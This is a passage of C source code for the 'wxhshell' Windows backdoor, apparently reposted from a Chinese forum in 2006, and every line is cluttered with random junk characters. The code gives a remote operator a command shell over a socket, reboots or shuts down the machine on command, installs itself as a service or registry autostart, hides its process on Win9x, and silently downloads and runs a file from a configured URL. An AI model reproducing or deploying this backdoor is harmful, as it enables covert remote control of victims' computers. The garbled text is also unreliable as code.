  } 9%6`ZS~3  
  else { X  jN.X  
Q6>( Z  
    switch(cmd[0]) { 5 Vqvb|  
  Hp AZ{P7  
  // 帮助 Jl ?Q}SB  
  case '?': { KL`>mJo$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v}D!  
    break; *?&O8SSBH  
  } 0MPDD%TP  
  // 安装 0yNlf-O  
  case 'i': { 0n=E.qZ9c  
    if(Install()) WE]^w3n9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yG4MqR)J  
    else JqZ5DjI:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Fiv ]^  
    break; [L^#<@S  
    } &0`7_g7G  
  // 卸载 &r%3)Z8Et  
  case 'r': { UC@"<$'C  
    if(Uninstall()) pC8i &_A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `_`,XkpzCJ  
    else ic#drpl,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @eWx4bl  
    break; i-b7  
    } 1[]cMyV  
  // 显示 wxhshell 所在路径 DUr1s]+P  
  case 'p': { Km-B=6*QY  
    char svExeFile[MAX_PATH]; _jz=BRO$  
    strcpy(svExeFile,"\n\r"); < .!3yy  
      strcat(svExeFile,ExeFile); iN*@f8gf  
        send(wsh,svExeFile,strlen(svExeFile),0); bP@ _4Dy  
    break; bHnQLJ  
    } 1 Y& d%AA  
  // 重启 R&0l4g-4>  
  case 'b': { vxx3^;4p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YSif`W!  
    if(Boot(REBOOT)) Qrh9JFqdG6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |?kH]Trr  
    else { 9A!qg<  
    closesocket(wsh); 3>6o=7/PU  
    ExitThread(0); 'CX KphlWs  
    } ewg WzB9c  
    break; `fyAV@X  
    } f14c} YY  
  // 关机 }^q#0`e(y  
  case 'd': { (Q+3aEUE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9h{G1XL  
    if(Boot(SHUTDOWN)) _JH6bvbQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cw\a,>]H  
    else { =qRVKz  
    closesocket(wsh); P'8 E8_M}  
    ExitThread(0); Apn#o2  
    } n6f|,D!?  
    break; Y<v55m-  
    } -,&Xp>u\  
  // 获取shell i_"I"5pBF  
  case 's': { lLhCk>a  
    CmdShell(wsh); %Y TIS*+0  
    closesocket(wsh); wah`  
    ExitThread(0); "6i9f$N  
    break; 4SYN$?.Mp  
  } L/I-(08!Y:  
  // 退出 0bE_iu>f'  
  case 'x': { 6X7_QBC)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >. Y ~F(  
    CloseIt(wsh); 5z _)  
    break; [>;O'>  
    } 1yu!:8=ee  
  // 离开 v|GvN|_|  
  case 'q': { QVpZA,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CvN~  
    closesocket(wsh); t>xV]W<  
    WSACleanup(); ect?9S[!y  
    exit(1); 5 Jhl4p}w  
    break; O,cx9N  
        } S,H{\c  
  } i ,'~Ds  
  } v09f#t$;5  
bA)Xjq)Rr  
  // 提示信息 fh~&&f}6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v>XE]c_  
} AOe~VW  
  } NQG"}=KA  
j!s&yHE1  
  return; so7;h$h!H  
} !o@-kl  
6voK{C4J  
// shell模块句柄 4M _83WL  
int CmdShell(SOCKET sock) $3L7R  
{ 3X:F9x>y  
STARTUPINFO si; =N=,;<6%A  
ZeroMemory(&si,sizeof(si)); /Yh8r1^2tZ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Bg`b*(Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =9c24j  
PROCESS_INFORMATION ProcessInfo; 8<^,<?  
char cmdline[]="cmd"; 6-3l6q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \; 3r  
  return 0; 2C-u2;X2  
} d^w_rL  
hCmOSDym  
// 自身启动模式 z'fS%uI  
int StartFromService(void) d|TIrlA  
{ UW+I 8\^  
typedef struct 8X%;29tow  
{ |3i~?] A  
  DWORD ExitStatus; NB^.$ 3 9n  
  DWORD PebBaseAddress; J=$v+8&.  
  DWORD AffinityMask; sJr$[?  
  DWORD BasePriority; 4Mprc~ 7vr  
  ULONG UniqueProcessId; 3 !,%;Vz=  
  ULONG InheritedFromUniqueProcessId; {\V)bizY;  
}   PROCESS_BASIC_INFORMATION; x!< C0N>?z  
9xWrz;tzo  
PROCNTQSIP NtQueryInformationProcess; , ?%`Ky/  
TX>;2S3q   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B0Z@ Cf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #U1soZ7  
VYF4q9  
  HANDLE             hProcess; \R<yja  
  PROCESS_BASIC_INFORMATION pbi; j.z#fU  
-X=f+4j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DxYu   
  if(NULL == hInst ) return 0; WV8<gx`Q  
@ +7'0[y?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |!}$V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 78X;ZMY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &EQov9P7  
_uBf.Qfs  
  if (!NtQueryInformationProcess) return 0; EgY]U1{  
J ^v_VZ3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v uJ~Lg{  
  if(!hProcess) return 0; }$7Hf+G  
{*|yU"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mz#(\p=T  
p?}Rolk7  
  CloseHandle(hProcess); j#*K[  
+?c&Gazi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zYep V  
if(hProcess==NULL) return 0; os2yiF",   
u%|VmM>  
HMODULE hMod; X)yTx8v4  
char procName[255]; S&VN</p  
unsigned long cbNeeded; ]\jhtC=2  
J@Li*Ypo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vH?/YhH|  
RH`m=?~J,  
  CloseHandle(hProcess); P`"dj@1'  
9@h>_1RJz  
if(strstr(procName,"services")) return 1; // 以服务启动 0nv3JX^l]  
^)SvH  
  return 0; // 注册表启动 aqMZ%~7  
} >uQ!B/C!  
9u:MF0:W  
// 主模块 z` sH  
int StartWxhshell(LPSTR lpCmdLine) l/TH"z(  
{ We" "/X  
  SOCKET wsl; wHAh6lm  
BOOL val=TRUE; 'n=FBu ^  
  int port=0; bDr'W   
  struct sockaddr_in door; `xtN+y F  
c`iSe$eS  
  if(wscfg.ws_autoins) Install(); A1:Fe9q  
p0@iGyd  
port=atoi(lpCmdLine); rf9RG!  
#0mn_#-P)  
if(port<=0) port=wscfg.ws_port; *kDXx&7B$  
uZqo"  
  WSADATA data; x$Lt?'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qOng?(I  
<cl$?].RE!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]AN)M>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _]<]:b  
  door.sin_family = AF_INET; A$-{WN.W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E=LaPjEIj  
  door.sin_port = htons(port); 6!bf,T]  
t rHj7Nw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i1/FNem  
closesocket(wsl); K46mE   
return 1; 5B(|!Xq;I  
} NoPM!.RU{  
^c=@2#^\  
  if(listen(wsl,2) == INVALID_SOCKET) { \TKv3N  
closesocket(wsl); !D  
return 1; 'dx4L }d  
} H\O|Y@uVr  
  Wxhshell(wsl); 1XSqgr"3  
  WSACleanup(); V-jo2+Y5=  
p HWol!  
return 0; Uqkh@-6-  
BG'gk#J+f  
} %``FIv15w  
<H$CCo  
// 以NT服务方式启动 ']qC,;2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2)U3/TNe  
{ jL 2f74?1  
DWORD   status = 0; 5uu{f&?u)  
  DWORD   specificError = 0xfffffff; +8~S28"Wg3  
cW MZw|t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )>=`[$D1t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7C&`i}/t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #!<x|N?_<  
  serviceStatus.dwWin32ExitCode     = 0; u'=#~'6  
  serviceStatus.dwServiceSpecificExitCode = 0; SK-|O9Ki  
  serviceStatus.dwCheckPoint       = 0; q6osRK*20  
  serviceStatus.dwWaitHint       = 0; K7CiICe  
xvgIYc{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %.Mtn%:I *  
  if (hServiceStatusHandle==0) return; 0ai4%=d-  
{(t (}-:Z  
status = GetLastError(); f(9w FT  
  if (status!=NO_ERROR) ,,@_r&f:  
{ +|o -lb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ysL8w"t  
    serviceStatus.dwCheckPoint       = 0; hzPpw.  
    serviceStatus.dwWaitHint       = 0; [t ^|l?  
    serviceStatus.dwWin32ExitCode     = status; XbHcd8N T  
    serviceStatus.dwServiceSpecificExitCode = specificError; Bw{W-&$o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E6n;_{Se/S  
    return; V,2O `D%  
  } }}ogdq  
8^M5u>=t;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?p$WqVN}  
  serviceStatus.dwCheckPoint       = 0; dkCSqNFL)  
  serviceStatus.dwWaitHint       = 0; 8_KXli}7=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ."3 J;j  
} 5|AZ/!rb  
Ju:=-5r"'  
// 处理NT服务事件,比如:启动、停止 dAga(<K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^ 41 p+  
{ I]T-}pG  
switch(fdwControl) 71f]KalqL  
{ h7o{l7`)  
case SERVICE_CONTROL_STOP: 1P6~IZVN  
  serviceStatus.dwWin32ExitCode = 0; YP#OI 6u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qHv W{0E  
  serviceStatus.dwCheckPoint   = 0; ph69u #Og  
  serviceStatus.dwWaitHint     = 0; 71wyZJ  
  { o2%"Luf<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -'ZP_$sA  
  } Q,jlKgB 5:  
  return; w$2-t  
case SERVICE_CONTROL_PAUSE: \2~.r/`1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 's*UU:R  
  break; 4u:{PN  
case SERVICE_CONTROL_CONTINUE: SqEO ] ~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; QAu^]1;  
  break; k"AY7vq@!P  
case SERVICE_CONTROL_INTERROGATE: 'X`\vTxB  
  break; O  89BN6p  
}; \)r#?qn4z;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gew0Y#/  
} _)^(-}(_D  
;M}bQ88  
// 标准应用程序主函数 2Q<_l*kk(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /x`H6'3?  
{ />]/At  
}~\J7R'  
// 获取操作系统版本 S$V'_  
OsIsNt=GetOsVer(); ))eR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); js2?t~E]  
aIkxN&  
  // 从命令行安装 p%j@2U  
  if(strpbrk(lpCmdLine,"iI")) Install(); _gU [FUBtJ  
$BNn1C8[  
  // 下载执行文件 bZa?h.IF  
if(wscfg.ws_downexe) { ]jM D'vg^b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KxiZx I  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;m;wSp  
} 'd/A+W  
;r8,Wx@f1C  
if(!OsIsNt) { ZVda0lex&  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z^#7&Pv0  
HideProc(); 6~D:O?2  
StartWxhshell(lpCmdLine); C10A$=!  
} F7=a|g  
else mB_ba1r  
  if(StartFromService()) W;j*lII  
  // 以服务方式启动 qE(`@G  
  StartServiceCtrlDispatcher(DispatchTable); GfVMj7{  
else <y!6HJ"  
  // 普通方式启动 h j9 b Mj  
  StartWxhshell(lpCmdLine); hX YVi6(k  
<;W4Th<4  
return 0; (A"oMnjWd  
}
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只看该作者 1 发表于: 2006-10-10
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